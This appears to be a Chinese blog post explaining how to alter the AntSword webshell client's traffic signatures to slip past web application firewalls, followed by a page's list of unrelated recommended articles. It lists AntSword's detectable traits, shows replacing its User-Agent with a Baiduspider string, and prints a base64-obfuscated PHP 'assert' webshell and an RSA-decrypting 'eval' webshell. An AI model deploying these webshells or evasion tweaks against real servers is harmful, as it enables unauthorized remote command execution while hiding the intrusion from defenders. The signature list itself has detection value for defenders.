蚁剑修改特征性信息

前言

我们首先得知道蚁剑的流量特征:

  1. 编码器和解码器的特征:蚁剑自带的编码器和解码器具有明显的特点,可以通过更改配置文件来达到流量加密的目的1。例如,蚁剑支持多种编码方式,如base64、chr、rot13等,这些编码方式虽然可以对数据进行加密,但在数据包中仍然存在一定的特征。

  2. UA头特征 :蚁剑的User-Agent头部具有特定的版本标识,例如antSword/v2.1,这是一个很明显的特征,可以通过更改UA头来进行伪装。

  3. Webshell静态特征 :蚁剑在不同的服务器端语言中使用特定的函数执行代码,如PHP中的asserteval,ASP中的eval,以及JSP中的Java类加载(ClassLoader)等。

  4. 动态流量特征 :蚁剑的动态特征包括请求体和响应体的特定格式。例如,请求体通常以@ini_set("display_errors","0");@set_time_limit(0);开头,而响应体则可能是经过base64编码和混淆字符处理的格式。

  5. 参数名特征 :蚁剑的流量中,参数名往往以_0x.....=的形式出现,这种特定的参数名格式可以作为识别蚁剑流量的一个特征。

  6. 流量加密和代理中转:蚁剑可以通过代理工具和自定义加密方法来进一步隐藏其流量特征,使得流量分析和检测变得更加困难。

  7. RSA编码器:从AntSword v2.1.0版本开始,蚁剑新增了PHP RSA编码器,这可以用于生成加密的PHP shell代码,进一步增强了流量的隐蔽性。

这篇文章将通过简单修改蚁剑的UA来绕过WAF。

修改位置

  • 蚁剑代理通道修改

  • UA特征伪造

  • RSA流量加密

具体操作

1.蚁剑代理通道修改

蚁剑代理通道设置(前提是必须有这个代理):

2.UA特征伪造

蚁剑默认UA:

主要修改的位置:

复制代码
/modules/request.js

这边主要是推荐百度UA,具体自己可以百度下其他UA,都可以根据需要来进行设置:

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

原来的UA:

UA修改后(百度UA爬虫):

复制代码
/modules/update.js

同样的方法,将UA头修改为百度爬虫:

修改前:

修改后UA头:

通过以上修改后,抓包查看:

3.RSA流量加密

蚁剑从2.1开始支持了RSA加密算法,但是仅仅支持php。

在我们隐藏流量中无非就是采用对称密钥加密和非对称密钥加密。

<?php $k=base64_decode('YXNzZXJ0'); $k($_POST['cmd']); ?>
复制代码

注意这里YXNzZxJ0 base64解密为assert,eval不可以。因为eval属于语言构造器,在php中不能来回调,类似call_user_function()。

其中数据请求包中存在eval关键字,还是容易被waf检测到,所以UA头一定要记得修改。

采用RSA加密

新建一个rsa编码器

<?php$cmd = @$_POST['ant'];$pk = <<<EOF-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjQSEjYvGaB7q7G5bjKs2b+v34XZ5/XhHDScxpv88C+fDv6IwxErr0kwcOp+an21tTtRF7Wl4MbEksL6wE3PNPt39k8i4PBfg51IjBYOmer8AHqr9qyDZq5XgK65yOCWsOIN8+fuP7DtvRxfTFoBNK6O3NeAKyYF0SRzIqPz8CvwIDAQAB-----END PUBLIC KEY-----EOF;$cmds = explode("|", $cmd);$pk = openssl_pkey_get_public($pk);$cmd = '';foreach ($cmds as $value) {  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {    $cmd .= $de;  }}eval($cmd);
复制代码
相关推荐
青椒大仙KI1115 分钟前
24/9/19 算法笔记 kaggle BankChurn数据分类
笔记·算法·分类
liangbm31 小时前
数学建模笔记——动态规划
笔记·python·算法·数学建模·动态规划·背包问题·优化问题
GoppViper1 小时前
golang学习笔记29——golang 中如何将 GitHub 最新提交的版本设置为 v1.0.0
笔记·git·后端·学习·golang·github·源代码管理
Charles Ray2 小时前
C++学习笔记 —— 内存分配 new
c++·笔记·学习
重生之我在20年代敲代码2 小时前
strncpy函数的使用和模拟实现
c语言·开发语言·c++·经验分享·笔记
我要吐泡泡了哦3 小时前
GAMES104:15 游戏引擎的玩法系统基础-学习笔记
笔记·学习·游戏引擎
骑鱼过海的猫1233 小时前
【tomcat】tomcat学习笔记
笔记·学习·tomcat
qmx_073 小时前
HTB-Jerry(tomcat war文件、msfvenom)
java·web安全·网络安全·tomcat
贾saisai5 小时前
Xilinx系FPGA学习笔记(九)DDR3学习
笔记·学习·fpga开发
北岛寒沫5 小时前
JavaScript(JS)学习笔记 1(简单介绍 注释和输入输出语句 变量 数据类型 运算符 流程控制 数组)
javascript·笔记·学习